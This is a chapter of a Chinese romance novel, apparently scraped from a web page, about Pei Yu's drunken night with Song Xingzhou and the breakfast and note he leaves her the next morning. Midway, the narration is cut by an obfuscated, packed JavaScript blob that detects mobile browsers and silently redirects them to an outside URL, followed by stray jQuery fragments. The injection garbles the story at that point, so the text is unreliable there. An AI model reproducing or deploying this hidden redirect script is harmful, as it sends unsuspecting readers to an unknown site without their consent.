裴雨其实在那一刻有点儿恍惚。


    她的手指还搁在手机屏幕上，指尖按着公司OA系统的请假按钮，凌晨三点三十三分，深夜的安静里除了她呼吸，还有宋行舟在她旁边低低的咳嗽声。他可能是冷了，小沙发不够宽，他又高大，窝着身体的时候脊背拱得高高的，像个被雨淋了整晚的大狗，头垂着，整个人缩在她的沙发角落。


    那画面有点可怜，也有点……诡异的熟悉。


    像她一个人生活这么久，偶尔某天累极了回到家，打开灯的一瞬间幻想自己有个人在屋里等她，然后那人懒懒地回过头，对她说一句“回来啦”。


    她低头看着“请假成功”的提示弹窗发了会儿呆。


    不是头痛，是脑子里还一团乱麻。酒精像一片混沌的棉花，将所有心跳、血液、理智的流动都压得慢了一拍。她只记得自己抱着他不让走，只记得自己说了很多没头没脑的话，像是报复，又像是撒娇。


    她不确定自己到底想干嘛。


    不想他走，是因为……她怕自己喝醉之后一个人在家？还是因为他刚刚说的那些话突然砸得她心口疼？抑或只是因为，这个男人太镇定、太冷静、太自洽，让她总想试探他什么时候会被自己弄烦了。


    可他没有。


    真的没有。


    他连皱眉都没皱一下，甚至还帮她把客厅的灯调暗，把茶几上的杂志收拾整齐，自己拉了条毯子坐在沙发上，垫着她闲置的小靠垫，不吭声地窝成一团。


    他那么高，腿那么长，小沙发的长度最多让他平躺一半，他却没说一句嫌弃的话。


    裴雨看着他，那种酒后的微醺开始变成一股心里难以说清的涩。


    “你睡吧。”她嗓子哑得厉害。


    宋行舟抬了抬眼皮，“你先。”


    “我睡不着。”


    “那闭会儿眼。”


    “你不困？”


    “有点。”


    “那你干嘛不睡？”


    他勾了下嘴角，“你刚说你怕一个人，我要是现在睡着，你是不是还得再叫醒我一次？”


    “……”


    她又窝回沙发上，抱着毯子，沉默。


    其实客房是有的，也不是没有可以躺平的地方。但她不想让他去客房，也说不清为啥。就像她明明不困，却又不想和他说话，只想听着他坐在这儿，靠在沙发边不动，偶尔动动肩膀、发出点儿呼吸的声音。


    她觉得这样安静，好像反而比两个人你来我往的说话更安心。


    她靠在沙发扶手上，盯着他蹲在地上摆的水杯发呆。


    “你明天不上班吗？”她问。


    “调休。”


    “你还有调休？”


    “项目阶段性验收完了，最近轮流倒休。”


    “那你今天为什么还出门？”


    “你不也出门吗？”


    “……”


    宋行舟看着她，忽然笑了一下，“怎么，你以为我特意去堵你？”


    裴雨眨了眨眼，没吭声。


    “我哪有预知能力。”他慢吞吞地说，“我知道你几点出门，可我也不知道在酒吧……能碰上你。”


    “结果呢？”


    “结果你喝了这么多。”他声音低低的，有点无奈。


    她想起宋行舟喂她喝温水的画面。


    那会她还有点生气，但现在想想，她好像更想哭。


    那瓶有些老旧的保温杯上好有些贴纸，像他的人一样，克制里透着一本正经的调侃。


    她突然问：“你之前说你有前女友，是真的吧？”


    宋行舟偏过头看了她一眼，没有立刻否认。


    “是真的，”他说，“不过我现在又没有女朋友，前女友也是很久之前的事情了。”


    “那你怎么没谈？”


    “没遇上我愿意耗精力去喜欢的。”


    “那你现在呢？”她语气有点挑衅，“现在愿意了？”


    宋行舟没接她的话，只是轻声问她：“你想听真话？”


    她点头。


    他低下头，沉默了一会儿，像在权衡什么，最后却只是轻轻说了句：“我想等你清醒的时候，再跟你说。”


    裴雨忽然有点委屈。


    “你是怕我醉了，明天就不认账了？”


    “不是。”


    “那你干嘛不说？”


    “因为我说了你也不一定听得进去。”


    他靠在沙发侧面，一只胳膊撑着脑袋，声音低得像风吹过房梁。


    “你太乱了，裴雨。”


    “你自己就不乱？”


    “我不乱。”


    “你骗人。”


    宋行舟没回她。他像是真的有些困了，靠在墙边闭了会儿眼。裴雨盯着他的脸看，看了很久，发现他睫毛很长，鼻梁挺，嘴角也比平时温和，像是睡着的时候才会显露一点少年的样子。


    她忽然小声说了句：“你以前……是不是过得挺好的？”


    “嗯？”


    “就你家，或者你小时候。”


    他睁开眼，抬眸看她一眼，“怎么这么问？”


    “你身上有种……不穷人的自信。”


    他低低一笑。


    “我爸是厂里工程师，挺早就把我送去寄宿学校。后来大学也顺利，找工作也没啥坎坷。我没吃过什么真正意义上的苦。也没真穷过。”


    裴雨沉默了一下，然后问：“那你在电厂干嘛？不是有更好的选择？”


    “因为那是我爸在过的单位，而且我现在不是也不错。”


    “你是因为你爸？”


    “他退休的时候说，‘我干了一辈子，不图儿子回来接班，但你要真回来，也别让人觉得念了大学就高高在上’。”他轻声笑了笑，“所以我穿工装，跟大家一样骑电驴，管自己叫‘底层工人’。你当真了。”


    裴雨心里忽然一阵酸。


    她把脸埋进毯子里，声音闷闷的：“那你以后别再说自己是底层工人了。”


    “好。”


    “我会生气的。”


    “好。”


    他答应得毫不迟疑。


    裴雨却说不出是心安还是更委屈了。


    屋子里慢慢安静下来，只有窗外的风还在轻轻拍着玻璃，时不时传来小区里猫叫一声。她裹着毯子坐在沙发上，头靠在沙发沿，眼皮一合一睁的，不知什么时候开始，就真的困了。


    而宋行舟……还是没走。


    她最后一个意识，是他的手轻轻拉了拉她搭落的毯子边角，替她盖好，然后低声说了一句：“晚安。”


    像是说给她听，又像是说给自己听。


    阳光透过半拉开的窗帘洒进来，斜斜地落在客厅地板上。空气里还残留着昨晚的酒气和那种久未通风的小屋独有的、混合着生活味道的潮湿气息。


    裴雨是被阳光晒醒的。


    她醒得很慢，脑袋里像塞了团棉花，迷迷糊糊的，整个人还半陷在昨夜那点恍惚里。她蜷着身体躺在沙发上，被毯子包着，手臂下一片温热，身体却有点僵硬，像是睡了一整晚没翻身。


    天光透进来时，她甚至以为自己还在梦里。


    梦里有一杯温水，有一个蹲在她身边轻声说话的人，还有一双握着始终没放下太多情绪的眼睛。


    是宋行舟。


    她努力睁开眼，看了一圈客厅。


    安静的，只有她一个人。


    他走了。


    这念头让她忽然有点落空，胸口像被什么东西轻轻地掏了一下。


    她撑起身体坐起来，靠在沙发上发了一小会儿呆，直到脑袋终于清醒了一些。然后，她才发现茶几上不知什么时候多了一张纸条，压在她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834247|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平时摆手机的地方，上面还有个保温饭盒，盒盖盖得好好的，外面还用旧毛巾包了一圈，像是怕她被烫到。


    她拿起那张纸条。


    纸是干净的白纸，字迹仍然是他那种工整里带点随意的风格，像是平时拿笔太利落，又怕吓到谁似的特意放了点温柔在里面。


    【饭在盒子里，豆腐汤、番茄炒蛋和煎饼，没调辣味。知道你早上不太能吃油腻的东西。保温最多两个小时，起来记得热一下。


    你不用送我，我自己走了。


    昨晚没睡好，下午还有个班会，先走了。


    你要是真不舒服，请两天假。


    ——宋】


    裴雨看完，把纸条放回茶几上，又把饭盒慢慢地打开。


    她其实不太饿，可能是昨晚喝得太多，胃里还有点泛酸。但那股熟悉的味道飘出来时，她却不由自主地咽了咽口水。


    饭已经凉了。


    豆腐汤上面结了一层薄薄的皮，番茄炒蛋里的蛋黄微微凝固，但味道还是熟悉的，像是她小时候外婆做过的那种——不加鸡精，只放一点糖和盐，番茄也没剥皮，就那么简单地下锅煸炒。


    她忽然觉得鼻尖有点发酸。


    这顿饭，很像他这个人。


    克制、温和，又不带太多情绪波动，像是做饭之前就在脑子里排练过怎么下锅、怎么留温度——不是想讨好谁，也不是敷衍，而是因为他就是这样长大、这样生活的人。


    她捏着筷子的手指微微抖了一下，还是没动。


    就那样坐在沙发边缘，低着头看那一盒饭菜，看了好久。


    他昨天到底什么时候走的？几点？她没听到开门声，没听到水壶响，也没看到他走出去的样子。她只记得他昨晚还在她面前，说话的声音不高，语气却一直都稳。


    她靠着沙发，头仰在靠背上，看着天花板，过了一会儿，才终于叹了一口气，轻轻说了句：


    “宋行舟，你到底是什么人啊……”


    像是问天花板，又像是问自己。


    她不记得自己有多少年没这么混乱地过了一晚。她一直都很有分寸，喝酒也从不失控，更不会半夜拉着一个男人不让走。


    可偏偏就是宋行舟。


    她甚至没搞清楚自己对他到底是什么感情。


    从一开始她是因为好奇，因为他和她认识的所有男人都不一样——他干净、克制、礼貌、分寸得体，甚至在她挑衅他的时候都能维持住一种惊人的冷静。那样的冷静让她忍不住一次次想把他的界限打破，看他什么时候会情绪崩裂。


    结果没有。


    每一次，都是她自己先情绪失控。


    她把饭菜盒合上，放进厨房的冰箱里，想着中午再热一下。


    然后她去了洗手间洗了把脸，对着镜子看着自己惨白的脸色和略微浮肿的眼睛，忽然笑了一下。


    “你真是疯了。”


    她自言自语地说，然后甩了甩头发，擦干净水渍，拖着步子回到卧室。


    手机放在床头，屏幕上跳出几个微信消息，大多是公司群里的工作安排，还有一个助理发来的请假审批成功的确认。


    她点了点头，关掉手机，又重新窝回床上。


    外面阳光渐渐亮了起来，楼下小区里的环卫工人开始清扫地面，吱吱呀呀的声音从窗外飘进来，让这个城市的清晨慢慢回归喧嚣。


    而她，却忽然很想再睡一觉。


    不是因为困。


    只是因为她想再梦到昨晚。


    梦里那个蹲在她身边的男人，手心温热，说话小心翼翼。


    梦里，她好像没有这么乱，也没有这么害怕。


    她闭上眼睛的时候，脑子里最后一幕，是宋行舟走之前蹲在她身边，轻声问她：“你到底想要做什么？”


    而她竟然……还没有答案。